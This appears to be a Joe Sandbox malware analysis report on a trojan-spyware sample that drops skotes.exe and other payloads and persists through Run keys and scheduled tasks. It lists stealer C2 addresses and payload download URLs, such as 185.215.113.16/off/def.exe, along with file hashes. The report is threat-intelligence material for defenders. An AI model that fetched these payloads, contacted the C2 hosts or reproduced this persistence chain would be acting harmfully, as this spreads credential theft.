Original Sample Name:	dfc453c8498400fd0f9cd272a842f6e4893a362e9476764a6aec751b224c7eb3.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@107/29@49/14
EGA Information:	Successful, ratio: 16.7%
HCA Information:	Failed
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Max analysis timeout: 600s exceeded, the analysis took too long
Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, WMIADAP.exe, SIHClient.exe, conhost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 217.20.59.35, 192.229.221.95, 93.184.221.240, 52.12.64.98, 35.80.238.59, 35.164.125.63, 2.23.162.57, 172.217.21.35, 172.217.19.238, 64.233.165.84, 2.20.41.214, 34.104.35.123, 88.221.134.155, 172.217.17.67, 172.217.17.78
Excluded domains from analysis (whitelisted): slscr.update.microsoft.com, clientservices.googleapis.com, aus5.mozilla.org, learn.microsoft.com, a19.dscg10.akamai.net, e11290.dspg.akamaiedge.net, clients2.google.com, ocsp.digicert.com, us-west1.prod.sumo.prod.webservices.mozgcp.net, firefox.settings.services.mozilla.com, learn.microsoft.com.edgekey.net, update.googleapis.com, www.youtube.com, normandy-cdn.services.mozilla.com, star-mini.c10r.facebook.com, fs.microsoft.com, shavar.prod.mozaws.net, learn.microsoft.com.edgekey.net.globalredir.akadns.net, dyna.wikimedia.org, normandy.cdn.mozilla.net, youtube-ui.l.google.com, reddit.map.fastly.net, edgedl.me.gvt1.com, clients.l.google.com, location.services.mozilla.com, www.reddit.com, services.addons.mozilla.org, ciscobinary.openh264.org, incoming.telemetry.mozilla.org, support.mozilla.org, go.microsoft.com, redirector.gvt1.com, push.services.mozilla.com, safebrowsing.googleapis.com, clients1.google.com, www.facebook.com, twitter.com, accounts.google.com, otelrule
Execution Graph export aborted for target 2fQ8fpTWAP.exe, PID 7544 because it is empty
Execution Graph export aborted for target e2af9f55fd.exe, PID 3684 because there are no executed function
Execution Graph export aborted for target f20b4c0961.exe, PID 3576 because there are no executed function
Execution Graph export aborted for target skotes.exe, PID 7772 because there are no executed function
Execution Graph export aborted for target skotes.exe, PID 7888 because there are no executed function
HTTP sessions have been limited to 150. Please view the PCAPs for the complete data.
HTTPS sessions have been limited to 150. Please view the PCAPs for the complete data.
Not all processes where analyzed, report is missing behavior information
Report creation exceeded maximum time and may have missing disassembly code information.
Report size exceeded maximum capacity and may have missing behavior information.
Report size exceeded maximum capacity and may have missing network information.
Report size getting too big, too many NtDeviceIoControlFile calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: 2fQ8fpTWAP.exe

Simulations

Behavior and APIs

Time	Type	Description
15:15:02	API Interceptor	24866404x Sleep call for process: skotes.exe modified
15:15:17	API Interceptor	146x Sleep call for process: f20b4c0961.exe modified
21:14:10	Task Scheduler	Run new task: skotes path: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
21:15:21	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run f20b4c0961.exe C:\Users\user\AppData\Local\Temp\1008515001\f20b4c0961.exe
21:15:29	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run e2af9f55fd.exe C:\Users\user\AppData\Local\Temp\1008516001\e2af9f55fd.exe
21:15:37	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run d146970153.exe C:\Users\user\AppData\Local\Temp\1008517001\d146970153.exe
21:15:46	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run f20b4c0961.exe C:\Users\user\AppData\Local\Temp\1008515001\f20b4c0961.exe
21:15:54	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run e2af9f55fd.exe C:\Users\user\AppData\Local\Temp\1008516001\e2af9f55fd.exe
21:16:02	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run d146970153.exe C:\Users\user\AppData\Local\Temp\1008517001\d146970153.exe
21:16:11	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run 44452951d3.exe C:\Users\user\AppData\Local\Temp\1008518001\44452951d3.exe
21:16:24	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run 44452951d3.exe C:\Users\user\AppData\Local\Temp\1008518001\44452951d3.exe

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
185.215.113.43	file.exe	Get hash	malicious	Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	Amadey, Clipboard Hijacker, Credential Flusher, Cryptbot, LummaC Stealer, Stealc	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	Amadey, Cryptbot	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	Amadey, Cryptbot	Browse	185.215.113.43/Zu7JuNko/index.php
185.215.113.16	file.exe	Get hash	malicious	Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.16/off/def.exe
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.16/mine/random.exe
	file.exe	Get hash	malicious	LummaC Stealer	Browse	185.215.113.16/off/def.exe
	file.exe	Get hash	malicious	LummaC Stealer	Browse	185.215.113.16/off/def.exe
	file.exe	Get hash	malicious	Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc	Browse	185.215.113.16/off/def.exe
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.16/mine/random.exe
	file.exe	Get hash	malicious	LummaC Stealer	Browse	185.215.113.16/off/def.exe
	file.exe	Get hash	malicious	LummaC Stealer	Browse	185.215.113.16/off/def.exe
	file.exe	Get hash	malicious	LummaC Stealer	Browse	185.215.113.16/off/def.exe
	file.exe	Get hash	malicious	Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.16/mine/random.exe

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
example.org	file.exe	Get hash	malicious	Credential Flusher	Browse	93.184.215.14
	file.exe	Get hash	malicious	Credential Flusher	Browse	93.184.215.14
	file.exe	Get hash	malicious	Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	93.184.215.14
	file.exe	Get hash	malicious	Credential Flusher	Browse	93.184.215.14
	file.exe	Get hash	malicious	Credential Flusher	Browse	93.184.215.14
	file.exe	Get hash	malicious	Credential Flusher	Browse	93.184.215.14
	file.exe	Get hash	malicious	Credential Flusher	Browse	93.184.215.14
	file.exe	Get hash	malicious	Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc	Browse	93.184.215.14
	file.exe	Get hash	malicious	Credential Flusher	Browse	93.184.215.14
	file.exe	Get hash	malicious	Credential Flusher	Browse	93.184.215.14
ipv4only.arpa	file.exe	Get hash	malicious	Credential Flusher	Browse	192.0.0.171
	file.exe	Get hash	malicious	Credential Flusher	Browse	192.0.0.170
	file.exe	Get hash	malicious	Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	192.0.0.171
	file.exe	Get hash	malicious	Credential Flusher	Browse	192.0.0.170
	file.exe	Get hash	malicious	Credential Flusher	Browse	192.0.0.170
	file.exe	Get hash	malicious	Credential Flusher	Browse	192.0.0.170
	file.exe	Get hash	malicious	Credential Flusher	Browse	192.0.0.171
	file.exe	Get hash	malicious	Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc	Browse	192.0.0.170
	file.exe	Get hash	malicious	Credential Flusher	Browse	192.0.0.170
	file.exe	Get hash	malicious	Credential Flusher	Browse	192.0.0.170
prod.ads.prod.webservices.mozgcp.net	file.exe	Get hash	malicious	Credential Flusher	Browse	34.117.188.166
	file.exe	Get hash	malicious	Credential Flusher	Browse	34.117.188.166
	file.exe	Get hash	malicious	Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	34.117.188.166
	file.exe	Get hash	malicious	Credential Flusher	Browse	34.117.188.166
	file.exe	Get hash	malicious	Credential Flusher	Browse	34.117.188.166
	file.exe	Get hash	malicious	Credential Flusher	Browse	34.117.188.166
	file.exe	Get hash	malicious	Credential Flusher	Browse	34.117.188.166
	file.exe	Get hash	malicious	Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc	Browse	34.117.188.166
	file.exe	Get hash	malicious	Credential Flusher	Browse	34.117.188.166
	file.exe	Get hash	malicious	Credential Flusher	Browse	34.117.188.166
property-imper.sbs	file.exe	Get hash	malicious	LummaC Stealer	Browse	104.21.33.116
	file.exe	Get hash	malicious	Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	104.21.33.116
	file.exe	Get hash	malicious	LummaC Stealer	Browse	104.21.33.116
	file.exe	Get hash	malicious	LummaC Stealer	Browse	172.67.162.84
	file.exe	Get hash	malicious	Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc	Browse	172.67.162.84
	file.exe	Get hash	malicious	LummaC Stealer	Browse	172.67.162.84
	file.exe	Get hash	malicious	LummaC Stealer	Browse	172.67.162.84
	file.exe	Get hash	malicious	LummaC Stealer	Browse	104.21.33.116
	file.exe	Get hash	malicious	Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse	104.21.33.116
	Call 0f Duty A1 Launcher.exe	Get hash	malicious	LummaC Stealer	Browse	104.21.33.116

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
WHOLESALECONNECTIONSNL	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC Stealer	Browse	185.215.113.16
	file.exe	Get hash	malicious	LummaC Stealer	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.16
	file.exe	Get hash	malicious	LummaC Stealer	Browse	185.215.113.16
	file.exe	Get hash	malicious	LummaC Stealer	Browse	185.215.113.16
CLOUDFLARENETUS	EsgeCzT4do.exe	Get hash	malicious	XWorm	Browse	162.159.129.233
	ZOL2mIYAUH.exe	Get hash	malicious	Phemedrone Stealer, PureLog Stealer, XWorm, zgRAT	Browse	104.26.0.100
	owuP726k3d.exe	Get hash	malicious	AsyncRAT, XWorm	Browse	172.67.75.40
	file.exe	Get hash	malicious	LummaC Stealer	Browse	104.21.33.116
	18sFhgSyVK.exe	Get hash	malicious	XWorm	Browse	172.66.0.158
	kwlYObMOSn.exe	Get hash	malicious	XWorm	Browse	104.20.22.46
	https://www.google.co.kr/url?url=https://hrtyuytitwagtxswxzqxpcm&jtdm=hjstxxb&qhwocq=elw&vrszx=mrursi&rtz=qksmlok&sdyxm=kxlpun&hnkj=iujyvng&vochgqf=ylsd&pkhfd=vyifcj&nymdhak=ffn&ylzv=xpddvxaj&zoadnebgoj=rccejsmuqd&q=amp/hmf1bnz.s%C2%ADlf%C2%ADpg%C2%ADq%C2%ADq%C2%ADwzu%C2%ADx%C2%ADppns%C2%ADc%C2%ADs%C2%AD.com%E2%80%8B/n7brnx1iy&lbgq=ihcrvpx&isffrcc=xjcvvbbd&hokv=buitobfj&nfzezydbgm=lhtjhglyxx&pjwu=tdsgcse&cesnzrb=ekoykarj&ifpv=yabmwecd&acyeqkflup=bacwibnnwl&dovx=vqvcdxk&rwbvdtj=khlezois&efgx=ktfpexjt&iqggbgjmwh=cvqmvfdelx&gqsh=ghsdgye&hipceti=hpqeesqk&hkvbucxuvo=drwoirzwsq&dril=qbpemxo&xziwtam=tdvywqlj&nndiwyldry=kjqbehmdbj&kqef=faiqetj&peigggc=vbyfdxky&fstmbbtmkx=rjxugltfmc&rpws=borxqez&rijvxqj=ntedqhtd&wohxxxgtmq=jpiozpkrbp&cxah=gcmtksp&tzidqah=syxnwioo&szzishkfke=xmnmodwwoc&xmif=xdxtrqz&ajzcojq=fmtqkshw&gkmh=vmwdknp&xvlhpuf=zkhqqziq&rvfh=igbqint&gdnzlky=hyzlhjke&dqkq=ophpttl&yoamsuz=cuykisoc&frzr=lajcnwi&chdmjpw=hymhkhbw&wnxy=zwkomqb&duxkrfq=asjrwcgu&fzya=hrpcnke&hxrusxm=foudbois&yqgm=uhfvxoo&uynyplq=iryzkatx&qfzs=stmleud&vkbxzkf=hxgbjzit&dnro=vjxntck&kfrldgj=vpyfihbn&nsko=sdzidzb&unudtuz=mnvrwokv&lisf=zxdfari&tdyzrah=otrtzuun&rfza=trokalr&vkfduyc=wpwvnxpe&jjsq=pgkbofh&uatnbjp=gtwiypfq&zilu=kagobvs&jqfufkw=bckrzetp&tjng=jgmmmod&fvdtpsk=vlyzfjep&mgoi=fklhysh&llyljdv=jxpogtdn&gcjv=vjlzkuf&erlhvti=peuprtov&kbxk=jviffkg&lklbxhl=uhzpnzfw&upaw=gfmiehp&ismxijp=hmwbsmgj&zdkc=kodikna&njllvzf=oodglyrw&urdk=cktezyn&vmqhwgh=kqcbhffu&riqy=tlnbqzr&nmlgrkn=inyeynzg&vebu=pwpghzr&ckpmyoc=tmeufjen&otic=svrqsdo&tbwzub	Get hash	malicious	Unknown	Browse	104.17.25.14
	file.exe	Get hash	malicious	Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	104.21.33.116
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	172.64.41.3
	file.exe	Get hash	malicious	LummaC Stealer	Browse	104.21.33.116
WHOLESALECONNECTIONSNL	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC Stealer	Browse	185.215.113.16
	file.exe	Get hash	malicious	LummaC Stealer	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.16
	file.exe	Get hash	malicious	LummaC Stealer	Browse	185.215.113.16
	file.exe	Get hash	malicious	LummaC Stealer	Browse	185.215.113.16

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
28a2c9bd18a11de089ef85a160da29e4	EsgeCzT4do.exe	Get hash	malicious	XWorm	Browse	172.202.163.200 13.107.246.63 2.23.161.164
	CZxDiTktSY.exe	Get hash	malicious	XWorm	Browse	172.202.163.200 13.107.246.63 2.23.161.164
	https://www.google.co.kr/url?url=https://hrtyuytitwagtxswxzqxpcm&jtdm=hjstxxb&qhwocq=elw&vrszx=mrursi&rtz=qksmlok&sdyxm=kxlpun&hnkj=iujyvng&vochgqf=ylsd&pkhfd=vyifcj&nymdhak=ffn&ylzv=xpddvxaj&zoadnebgoj=rccejsmuqd&q=amp/hmf1bnz.s%C2%ADlf%C2%ADpg%C2%ADq%C2%ADq%C2%ADwzu%C2%ADx%C2%ADppns%C2%ADc%C2%ADs%C2%AD.com%E2%80%8B/n7brnx1iy&lbgq=ihcrvpx&isffrcc=xjcvvbbd&hokv=buitobfj&nfzezydbgm=lhtjhglyxx&pjwu=tdsgcse&cesnzrb=ekoykarj&ifpv=yabmwecd&acyeqkflup=bacwibnnwl&dovx=vqvcdxk&rwbvdtj=khlezois&efgx=ktfpexjt&iqggbgjmwh=cvqmvfdelx&gqsh=ghsdgye&hipceti=hpqeesqk&hkvbucxuvo=drwoirzwsq&dril=qbpemxo&xziwtam=tdvywqlj&nndiwyldry=kjqbehmdbj&kqef=faiqetj&peigggc=vbyfdxky&fstmbbtmkx=rjxugltfmc&rpws=borxqez&rijvxqj=ntedqhtd&wohxxxgtmq=jpiozpkrbp&cxah=gcmtksp&tzidqah=syxnwioo&szzishkfke=xmnmodwwoc&xmif=xdxtrqz&ajzcojq=fmtqkshw&gkmh=vmwdknp&xvlhpuf=zkhqqziq&rvfh=igbqint&gdnzlky=hyzlhjke&dqkq=ophpttl&yoamsuz=cuykisoc&frzr=lajcnwi&chdmjpw=hymhkhbw&wnxy=zwkomqb&duxkrfq=asjrwcgu&fzya=hrpcnke&hxrusxm=foudbois&yqgm=uhfvxoo&uynyplq=iryzkatx&qfzs=stmleud&vkbxzkf=hxgbjzit&dnro=vjxntck&kfrldgj=vpyfihbn&nsko=sdzidzb&unudtuz=mnvrwokv&lisf=zxdfari&tdyzrah=otrtzuun&rfza=trokalr&vkfduyc=wpwvnxpe&jjsq=pgkbofh&uatnbjp=gtwiypfq&zilu=kagobvs&jqfufkw=bckrzetp&tjng=jgmmmod&fvdtpsk=vlyzfjep&mgoi=fklhysh&llyljdv=jxpogtdn&gcjv=vjlzkuf&erlhvti=peuprtov&kbxk=jviffkg&lklbxhl=uhzpnzfw&upaw=gfmiehp&ismxijp=hmwbsmgj&zdkc=kodikna&njllvzf=oodglyrw&urdk=cktezyn&vmqhwgh=kqcbhffu&riqy=tlnbqzr&nmlgrkn=inyeynzg&vebu=pwpghzr&ckpmyoc=tmeufjen&otic=svrqsdo&tbwzub	Get hash	malicious	Unknown	Browse	172.202.163.200 13.107.246.63 2.23.161.164
	file.exe	Get hash	malicious	Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	172.202.163.200 13.107.246.63 2.23.161.164
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	172.202.163.200 13.107.246.63 2.23.161.164
	file.exe	Get hash	malicious	LummaC Stealer	Browse	172.202.163.200 13.107.246.63 2.23.161.164
	file.exe	Get hash	malicious	LummaC Stealer	Browse	172.202.163.200 13.107.246.63 2.23.161.164
	file.exe	Get hash	malicious	Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc	Browse	172.202.163.200 13.107.246.63 2.23.161.164
	https://myqrcode.mobi/qr/3c3aa5e1/view	Get hash	malicious	Unknown	Browse	172.202.163.200 13.107.246.63 2.23.161.164
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	172.202.163.200 13.107.246.63 2.23.161.164
a0e9f5d64349fb13191bc781f81f42e1	file.exe	Get hash	malicious	LummaC Stealer	Browse	172.67.162.84 52.168.112.67
	file.exe	Get hash	malicious	Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	172.67.162.84 52.168.112.67
	file.exe	Get hash	malicious	LummaC Stealer	Browse	172.67.162.84 52.168.112.67
	file.exe	Get hash	malicious	LummaC Stealer	Browse	172.67.162.84 52.168.112.67
	file.exe	Get hash	malicious	Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc	Browse	172.67.162.84 52.168.112.67
	file.exe	Get hash	malicious	LummaC Stealer	Browse	172.67.162.84 52.168.112.67
	file.exe	Get hash	malicious	LummaC Stealer	Browse	172.67.162.84 52.168.112.67
	file.exe	Get hash	malicious	LummaC Stealer	Browse	172.67.162.84 52.168.112.67
	file.exe	Get hash	malicious	Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse	172.67.162.84 52.168.112.67
	Aquantia_Installer.exe	Get hash	malicious	LummaC Stealer	Browse	172.67.162.84 52.168.112.67
fb0aa01abe9d8e4037eb3473ca6e2dca	file.exe	Get hash	malicious	Credential Flusher	Browse	35.244.181.201 34.149.100.209 34.160.144.191 34.120.208.123 151.101.1.91
	file.exe	Get hash	malicious	Credential Flusher	Browse	35.244.181.201 34.149.100.209 34.160.144.191 34.120.208.123 151.101.1.91
	file.exe	Get hash	malicious	Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	35.244.181.201 34.149.100.209 34.160.144.191 34.120.208.123 151.101.1.91
	file.exe	Get hash	malicious	Credential Flusher	Browse	35.244.181.201 34.149.100.209 34.160.144.191 34.120.208.123 151.101.1.91
	file.exe	Get hash	malicious	Credential Flusher	Browse	35.244.181.201 34.149.100.209 34.160.144.191 34.120.208.123 151.101.1.91
	file.exe	Get hash	malicious	Credential Flusher	Browse	35.244.181.201 34.149.100.209 34.160.144.191 34.120.208.123 151.101.1.91
	file.exe	Get hash	malicious	Credential Flusher	Browse	35.244.181.201 34.149.100.209 34.160.144.191 34.120.208.123 151.101.1.91
	file.exe	Get hash	malicious	Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc	Browse	35.244.181.201 34.149.100.209 34.160.144.191 34.120.208.123 151.101.1.91
	file.exe	Get hash	malicious	Credential Flusher	Browse	35.244.181.201 34.149.100.209 34.160.144.191 34.120.208.123 151.101.1.91
	file.exe	Get hash	malicious	Credential Flusher	Browse	35.244.181.201 34.149.100.209 34.160.144.191 34.120.208.123 151.101.1.91

Process:	C:\Users\user\AppData\Local\Temp\1008518001\44452951d3.exe
File Type:	CSV text
Category:	dropped
Size (bytes):	226
Entropy (8bit):	5.360398796477698
Encrypted:	false
SSDEEP:	6:Q3La/xw5DLIP12MUAvvR+uTL2ql2ABgTv:Q3La/KDLI4MWuPTAv
MD5:	3A8957C6382192B71471BD14359D0B12
SHA1:	71B96C965B65A051E7E7D10F61BEBD8CCBB88587
SHA-256:	282FBEFDDCFAA0A9DBDEE6E123791FC4B8CB870AE9D450E6394D2ACDA3D8F56D
SHA-512:	76C108641F682F785A97017728ED51565C4F74B61B24E190468E3A2843FCC43615C6C8ABE298750AF238D7A44E97C001E3BE427B49900432F905A7CE114AA9AD
Malicious:	false
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System\920e3d1d70447c3c10e69e6df0766568\System.ni.dll",0..

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\D81IGXZV\random[1].exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1866752
Entropy (8bit):	7.94830159733451
Encrypted:	false
SSDEEP:	49152:FYt+h5gxqV+CoTxbceIcqFvwFrDO4FuXXIi:4+0xqVdoTOpBvwFrDORIi
MD5:	5E73B0576450ED5FFD50F136A205A42E
SHA1:	44D41E87AC4A7606006F77C5C49791E1389292B9
SHA-256:	E83261E251F282C7C4F68BB8BA9AB58577CBA92E863C1CFD488D6CE6DE7192EF
SHA-512:	5DA2A5015B932B76D03F8D3BEC630738C0B98602C73FE4AF71D7839956017AEB32ED108679D264C4FCDC15FA857FDE59B2B7B9479D19985045D154B49B9A9CBD
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 45%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L...Q<?g.............................0J...........@..........................`J.....'.....@.................................\...p....p.............................................................................................................. . .`.......b..................@....rsrc........p.......r..............@....idata .............t..............@... ..*..........v..............@...xwjcifzz.....@0......x..............@...olfigpve..... J......T..............@....taggant.0...0J.."...Z..............@...................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\D81IGXZV\random[2].exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2817536
Entropy (8bit):	6.452343079294563
Encrypted:	false
SSDEEP:	49152:8JlcISoKHLOc/oNTCgiT0AZgDuxTjpHlNNVUtg:ScIraOi+TCgiT0AZgs9lfKtg
MD5:	05F8EAD29013AC531082A69C2A003D71
SHA1:	C6C1689A70B2E01CAACCA97C65D4F8A90FAB0809
SHA-256:	B7AD7259ED8DB0D24EF8589E7308F50ACE37392D2416CCD06DB16955C079003F
SHA-512:	222DBF6DE1C85AB1BF65D8872B8E59FC0791F5ECC9D2A7C6190667BA95034A02DFB11178F6A1689AEEFBC1132BB8E862AC9EFFB7FAB601B6ADE411B71404D5BC
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 42%
Preview:	MZ......................@...........z...................................!..L.!This program cannot be run in DOS mode....$.......PE..L...P(,e.........."...0..$...........`+.. ...`....@.. ........................+......}+...`.................................U...i....`.............................................................................................................. . .@... ....... ..............@....rsrc........`.......2..............@....idata . ...........8..............@...rqyixswb...........:..............@...aovkkqgk. ...@+....................@....taggant.@...`+..".................@...................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\NCK9WNDU\random[1].exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1787392
Entropy (8bit):	7.944368801198697
Encrypted:	false
SSDEEP:	24576:EnHx9ww1LObpvbxoW+VeB8GjF+gQBYn1m3aTgd+2VUUNLaNRDxceeZF/6YIKt:ER9wm6doW/6kk4vTwVUsLGmy5
MD5:	925D775A24989DA8E83CABCD00FDE1D3
SHA1:	73373F88FA6798AC4A4BC1566B62814DEEB362DE
SHA-256:	362EDE5E1060F28217D49706CED46A1BEA1E175BF91C4A1457F921904B9BB32A
SHA-512:	F0866E412BA6733BA460EADCD01D76B5803D8AD17A9016EC0B1D5915DE0E1360D3229E9A09C5EBE1911325029388645D68AEAEC1EE78E5797B2C3F83D2A5DFC6
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 42%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........8..k..k..k.'k..k..k..k.&k..k...k..k...k..k...j..k..k..k.#k..k..k..kRich..k........................PE..L...O./g.....................$........h...........@...........................h......%....@.................................M.$.a.....$.......................$..................................................................................... . ..$......b..................@....rsrc.........$......r..............@....idata ......$......t..............@... .@*...$......v..............@...chbioofn......O......x..............@...gsyzfhio......h...... ..............@....taggant.0....h.."...$..............@...................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\Q4M8ZOMH\random[1].exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	922624
Entropy (8bit):	6.592292878599171
Encrypted:	false
SSDEEP:	12288:gqDEvFo+yo4DdbbMWu/jrQu4M9lBAlKhQcDGB3cuBNGE6iOrpfe4JdaDgaOT0:gqDEvCTbMWu7rQYlBQcBiT6rprG8a20
MD5:	09061FE9B6D117A3D40497832BFE6F3F
SHA1:	EAC5A1EF4BD5CE2B41C73BB89B3593516A15B240
SHA-256:	6F289372761153659C56C425BA2E734614315D822BF8692C83C1496C39175A6B
SHA-512:	63A8C0A3DB7BFBEAD09CC85C958B1FF16E431A20BF6EFF8A88CF6E9189E7A58607AD0CF0E8675611CE039AC2C3BB5A1940BB8FDD9677C53F4ADA20276A119178
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 29%
Preview:	MZ......................@................................... ...........!..L.!This program cannot be run in DOS mode....$...................j:......j:..C...j:......@.*...........................n......~............{.......{......{.......z....{......Rich...................PE..L...y/Bg.........."..........d......w.............@..........................p............@...@.......@.....................d...\|....@..L........................u...........................4..........@............................................text............................... ..`.rdata..............................@..@.data...lp.......H..................@....rsrc...L....@......................@..@.reloc...u.......v..................@..B........................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\1008515001\f20b4c0961.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1866752
Entropy (8bit):	7.94830159733451
Encrypted:	false
SSDEEP:	49152:FYt+h5gxqV+CoTxbceIcqFvwFrDO4FuXXIi:4+0xqVdoTOpBvwFrDORIi
MD5:	5E73B0576450ED5FFD50F136A205A42E
SHA1:	44D41E87AC4A7606006F77C5C49791E1389292B9
SHA-256:	E83261E251F282C7C4F68BB8BA9AB58577CBA92E863C1CFD488D6CE6DE7192EF
SHA-512:	5DA2A5015B932B76D03F8D3BEC630738C0B98602C73FE4AF71D7839956017AEB32ED108679D264C4FCDC15FA857FDE59B2B7B9479D19985045D154B49B9A9CBD
Malicious:	true
